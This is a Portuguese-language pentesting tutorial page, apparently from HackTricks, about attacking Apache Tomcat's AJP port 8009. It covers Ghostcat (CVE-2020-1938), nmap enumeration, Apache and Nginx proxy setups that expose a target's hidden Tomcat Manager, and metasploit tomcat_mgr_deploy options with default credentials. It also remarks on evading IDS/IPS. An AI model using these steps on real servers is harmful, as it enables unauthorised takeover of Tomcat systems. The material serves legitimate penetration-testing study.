13 KiB
8009 - Pentesting Protocolo Apache JServ (AJP)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
HackenProof é o lar de todas as recompensas por bugs de criptografia.
Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento da recompensa. Você receberá a recompensa após a verificação do bug.
Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
Cadastre-se no HackenProof comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
Informações Básicas
De: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/
AJP é um protocolo de comunicação. É uma versão otimizada do protocolo HTTP que permite que um servidor web independente, como o Apache, se comunique com o Tomcat. Historicamente, o Apache tem sido muito mais rápido que o Tomcat ao servir conteúdo estático. A ideia é permitir que o Apache sirva o conteúdo estático sempre que possível, mas encaminhar a solicitação para o Tomcat para conteúdo relacionado ao Tomcat.
Também interessante:
O protocolo ajp13 é orientado a pacotes. Um formato binário foi presumivelmente escolhido em vez do texto simples mais legível por motivos de desempenho. O servidor web se comunica com o contêiner de servlets por meio de conexões TCP. Para reduzir o processo caro de criação de soquetes, o servidor web tentará manter conexões TCP persistentes com o contêiner de servlets e reutilizar uma conexão para vários ciclos de solicitação/resposta.
Porta padrão: 8009
PORT STATE SERVICE
8009/tcp open ajp13
CVE-2020-1938 'Ghostcat'
Se a porta AJP estiver exposta, o Tomcat pode ser suscetível à vulnerabilidade Ghostcat. Aqui está um exploit que funciona com esse problema.
Ghostcat é uma vulnerabilidade LFI, mas um tanto restrita: apenas arquivos de um determinado caminho podem ser extraídos. Ainda assim, isso pode incluir arquivos como WEB-INF/web.xml
, que podem vazar informações importantes, como credenciais para a interface do Tomcat, dependendo da configuração do servidor.
As versões corrigidas em ou acima de 9.0.31, 8.5.51 e 7.0.100 resolveram esse problema.
Enumeração
Automática
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
Força bruta
Proxy AJP
Proxy AJP do Apache
Não é comum encontrar a porta 8009 aberta e nenhuma outra porta web aberta. Nesse caso, seria bom usar ferramentas existentes como o metasploit para invadi-la, certo? Conforme mencionado em uma das citações, você pode (abusar) do Apache para fazer proxy das solicitações para a porta 8009 do Tomcat. Nas referências, você encontrará um guia útil sobre como fazer isso (leia-o primeiro), o que segue é apenas uma visão geral dos comandos que usei em minha própria máquina. Omiti algumas das instruções originais, pois não pareciam ser necessárias.
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass / ajp://HOST:8009/
ProxyPassReverse / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
Um efeito colateral interessante de usar essa configuração é que você pode frustrar os sistemas IDS/IPS em vigor, já que o protocolo AJP é em parte binário, mas eu não verifiquei isso. Agora você pode simplesmente direcionar sua exploração regular do tomcat no metasploit para 127.0.0.1:80 e assumir o controle desse sistema. Aqui está também a saída do metasploit:
msf exploit(tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD tomcat no The password for the specified username
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no Use a proxy chain
RHOST localhost yes The target address
RPORT 80 yes The target port
USERNAME tomcat no The username to authenticate as
VHOST no HTTP server virtual host
Proxy Reverso Nginx & AJP
Verifique a versão Dockerizada
Quando nos deparamos com uma porta de proxy AJP aberta (8009 TCP), podemos usar o Nginx com o ajp_module
para acessar o "oculto" Tomcat Manager. Isso pode ser feito compilando o código-fonte do Nginx e adicionando o módulo necessário, da seguinte forma:
- Baixe o código-fonte do Nginx
- Baixe o módulo necessário
- Compile o código-fonte do Nginx com o
ajp_module
. - Crie um arquivo de configuração apontando para a porta AJP
# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz
# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
Comente todo o bloco server
e adicione as seguintes linhas dentro do bloco http
no arquivo /etc/nginx/conf/nginx.conf
.
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
Inicie o Nginx e verifique se tudo está funcionando corretamente emitindo uma solicitação cURL para o seu localhost.
sudo nginx
curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
Versão Dockerizada
A versão dockerizada do Apache JServ Protocol (AJP) é uma maneira conveniente de executar e testar o protocolo AJP em um ambiente controlado. O Docker é uma plataforma de virtualização leve que permite empacotar um aplicativo e suas dependências em um contêiner isolado. Isso facilita a implantação e o teste de aplicativos em diferentes ambientes sem a necessidade de configurar manualmente o ambiente de cada vez.
Para executar o Apache JServ Protocol (AJP) em um contêiner Docker, siga as etapas abaixo:
- Certifique-se de ter o Docker instalado em sua máquina.
- Baixe a imagem Docker do Apache JServ Protocol (AJP) do repositório oficial.
- Execute o contêiner usando o comando
docker run
e especifique as opções necessárias, como a porta em que o AJP será executado e as configurações adicionais, se necessário. - Verifique se o contêiner está em execução e se o AJP está funcionando corretamente.
- Agora você pode testar o protocolo AJP usando ferramentas de teste, como o Apache JMeter, para verificar a segurança e a integridade do seu aplicativo.
A versão dockerizada do Apache JServ Protocol (AJP) oferece uma maneira fácil e rápida de executar e testar o protocolo em um ambiente controlado. Isso pode ser útil para fins de desenvolvimento, teste e depuração de aplicativos que usam o protocolo AJP.
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker
Substitua TARGET-IP
em nginx.conf
pelo IP AJP e, em seguida, compile e execute.
docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy
Referências
HackenProof é o lar de todas as recompensas por bugs de criptografia.
Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
Torne-se uma lenda hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
Cadastre-se no HackenProof e comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? Ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.